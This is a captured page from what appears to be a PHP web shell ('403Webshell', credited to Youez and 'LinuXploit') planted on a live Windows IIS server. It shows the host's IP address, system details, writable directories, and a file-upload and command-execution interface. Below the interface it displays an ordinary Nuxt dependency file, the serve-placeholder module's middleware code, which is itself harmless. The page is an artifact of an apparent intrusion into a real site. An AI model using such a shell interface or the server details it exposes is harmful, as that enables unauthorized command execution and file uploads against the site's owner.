403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/serve-placeholder/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/serve-placeholder/dist/index.mjs
import defu from 'defu';

const DefaultOptions = {
  statusCode: 404,
  skipUnknown: false,
  cacheHeaders: true,
  placeholderHeader: true,
  handlers: {
    // css
    ".css": "css",
    // html
    ".html": "html",
    ".htm": "html",
    // image
    ".png": "image",
    ".jpg": "image",
    ".jpeg": "image",
    ".gif": "image",
    ".svg": "image",
    ".webp": "image",
    ".bmp": "image",
    ".ico": "image",
    // js
    ".js": "js",
    // json
    ".json": "json",
    // map
    ".map": "map",
    // plain
    ".txt": "plain",
    ".text": "plain",
    ".md": "plain"
  },
  placeholders: {
    css: "/* style not found */",
    default: void 0,
    html: "<!-- page not found -->",
    image: "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",
    js: "/* script not found */",
    json: "{}",
    map: '{"version": "3", "sources": [], "mappings": "" }',
    plain: ""
  },
  mimes: {
    css: "text/css",
    default: void 0,
    html: "text/html",
    js: "application/javascript",
    json: "application/json",
    image: "image/gif",
    map: "application/json",
    plain: "text/plain"
  }
};

const EXT_REGEX = /\.[\dA-Za-z]+$/;
function servePlaceholder(_options = {}) {
  const options = defu(_options, DefaultOptions);
  return function servePlaceholderMiddleware(req, res, next) {
    if (res.writableEnded) {
      return;
    }
    const url = req.url.split("?")[0];
    const ext = (url.match(EXT_REGEX) || [])[0] || "";
    let handler = options.handlers[ext];
    if (handler === false) {
      return next();
    }
    if (handler === void 0) {
      if (options.skipUnknown) {
        return next();
      }
      handler = "default";
    }
    if (options.statusCode) {
      res.statusCode = options.statusCode;
    }
    const mime = options.mimes[handler];
    if (mime) {
      res.setHeader("Content-Type", mime);
    }
    if (options.cacheHeaders) {
      res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
      res.setHeader("Pragma", "no-cache");
      res.setHeader("Expires", "0");
    }
    if (options.placeholderHeader) {
      res.setHeader("X-Placeholder", handler);
    }
    const placeholder = options.placeholders[handler];
    res.end(placeholder);
  };
}

export { servePlaceholder };

Youez - 2016 - github.com/yon3zu
LinuXploit